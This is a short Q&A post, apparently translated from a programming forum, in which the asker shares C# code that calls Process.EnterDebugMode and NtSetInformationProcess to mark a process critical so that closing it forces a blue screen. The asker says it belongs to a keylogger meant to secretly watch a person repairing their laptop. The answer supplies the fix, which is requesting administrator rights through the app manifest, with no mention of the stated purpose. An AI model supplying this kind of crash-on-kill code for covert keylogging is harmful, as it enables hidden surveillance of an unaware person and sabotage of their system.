无法在不导致异常的情况下调用 Process.EnterDebugMode()

Cannot call Process.EnterDebugMode() without causing the Exception

每当我关闭我的应用程序时,我都会自己尝试 BSOD(强制蓝屏死机)。不幸的是,当我调用 Process.EnterDebugMode(); 时出现异常:Not all privileges or groups referenced are assigned to the caller

我写了键盘记录器(这部分已经完成),它想监视修理我笔记本电脑的军人,所以我会知道他是否做了任何有趣的事情。

[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtSetInformationProcess(IntPtr hProcess, int processInformationClass, ref int processInformation, int processInformationLength);

public static void Main() {
    int isCritical = 1;  // we want this to be a Critical Process
    int BreakOnTermination = 0x1D;  // value for BreakOnTermination (flag)


    Process.EnterDebugMode();  //acquire Debug Privileges

    // setting the BreakOnTermination = 1 for the current process
    NtSetInformationProcess(Process.GetCurrentProcess().Handle, BreakOnTermination, ref isCritical, sizeof(int));

您的程序需要 运行 管理员权限。如果这样做,您的程序将按预期运行。

您可以使用 app.manifest 通过 app.manfest 轻松获得您的程序请求权限 - 在 VS 中右键单击您的项目并添加一个应用程序清单文件。生成的评论中有说明,但您需要替换

<requestedExecutionLevel level="asInvoker" uiAccess="false" />

<requestedExecutionLevel  level="requireAdministrator" uiAccess="false" />